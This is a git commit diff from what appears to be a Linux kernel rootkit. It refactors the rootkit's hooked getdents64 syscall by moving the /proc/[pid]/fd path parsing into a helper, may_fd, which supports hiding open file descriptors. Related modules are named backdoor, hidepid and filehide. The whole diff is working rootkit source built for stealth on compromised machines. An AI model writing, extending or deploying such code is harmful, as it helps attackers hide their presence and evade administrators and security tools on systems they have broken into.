commit 31e98138b510307507cb0c689748505ade0434b4
parent 01d4d42c2c02fb10a673332190cace9c36d9acd3
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Sat, 5 Dec 2020 19:19:56 +0100
Offload may_fd to avoid getdents bloat
Diffstat:
3 files changed, 62 insertions(+), 42 deletions(-)
diff --git a/src/hideopen.c b/src/hideopen.c
@@ -1,8 +1,12 @@
#include <linux/slab.h>
#include <linux/fd.h>
+#include "common.h"
#include "hook.h"
#include "hideopen.h"
+#include "hidepid.h"
+
+const char *dir_sep = "/";
fd_list_t hidden_fds = {
.fd = -1,
@@ -12,6 +16,57 @@ fd_list_t hidden_fds = {
fd_list_t_ptr hidden_fds_tail = &hidden_fds;
+//Returns pid on success, -1 on failure
+pid_t
+may_fd(struct file *dirfile)
+{
+ pid_t tmp = -1;
+ char *buf;
+
+ buf = kzalloc(512, GFP_KERNEL);
+
+ if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
+ char *path = d_path(&dirfile->f_path, buf, 512);
+
+ if(!IS_ERR(path)) {
+ char *sub;
+ char *cur = path;
+
+ /**
+ * In the correct directory, the tokens are as follows:
+ * {NULL, proc, [PID], fd}
+ * We also don't want the task directory, so the third
+ * token should be fd, not task
+ **/
+ int i = 0;
+
+ while((sub = strsep(&cur, dir_sep))) {
+ switch(i++) {
+ case 1:
+ if(strcmp(sub, "proc"))
+ goto leave;
+ break;
+ case 2:
+ tmp = PID_FROM_NAME(sub);
+ break;
+ case 3:
+ if(!strcmp(sub, "fd")) {
+ kfree(buf);
+ return tmp;
+ } else
+ goto leave;
+ default:
+ break;
+ }
+ }
+ }
+ }
+
+ leave:
+ kfree(buf);
+ return -1;
+}
+
void
clear_hidden_fds(void)
{
diff --git a/src/hideopen.h b/src/hideopen.h
@@ -12,8 +12,11 @@ typedef struct fd_list {
extern fd_list_t hidden_fds;
+pid_t may_fd(struct file *dirfile);
+
void clear_hidden_fds(void);
bool list_contains_fd(fd_list_t_ptr, int);
+
fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int);
fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int);
fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd);
diff --git a/src/hook.c b/src/hook.c
@@ -17,12 +17,11 @@
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
+#include "hideopen.h"
#include "read.h"
extern rootkit_t rootkit;
-const char *dir_sep = "/";
-
void **sys_calls;
atomic_t read_install_count;
@@ -204,7 +203,7 @@ g7_getdents64(const struct pt_regs *pt_regs)
dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
long ret = sys_getdents64(pt_regs);
- bool may_fd = 0; //We only need /proc/[pid]/fd dirs
+ bool is_fd = 0; //We only need /proc/[pid]/fd dirs
struct file *dirfile = fget(fd);
pid_t fd_pid;
@@ -214,45 +213,8 @@ g7_getdents64(const struct pt_regs *pt_regs)
if (copy_from_user(kdirent, dirent, ret))
goto yield;
- if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
- char *buf = kzalloc(512, GFP_KERNEL);
- char *path = d_path(&dirfile->f_path, buf, 512);
-
- if(!IS_ERR(path)) {
- char *sub;
- char *cur = path;
-
- /**
- * In the correct directory, the tokens are as follows:
- * {NULL, proc, [PID], fd}
- * We also don't want the task directory, so the third
- * token should be fd, not task
- **/
- int i = 0;
-
- while((sub = strsep(&cur, dir_sep))) {
- switch(i++) {
- case 1:
- if(strcmp(sub, "proc"))
- goto leave;
- break;
- case 2:
- fd_pid = PID_FROM_NAME(sub);
- break;
- case 3:
- if(!strcmp(sub, "fd"))
- may_fd = 1;
- else
- goto leave;
- default:
- break;
- }
- }
-
- leave:
- kfree(buf);
- }
- }
+ if((fd_pid = may_fd(dirfile)) != -1)
+ is_fd = 1;
atomic_inc(&getdents64_count);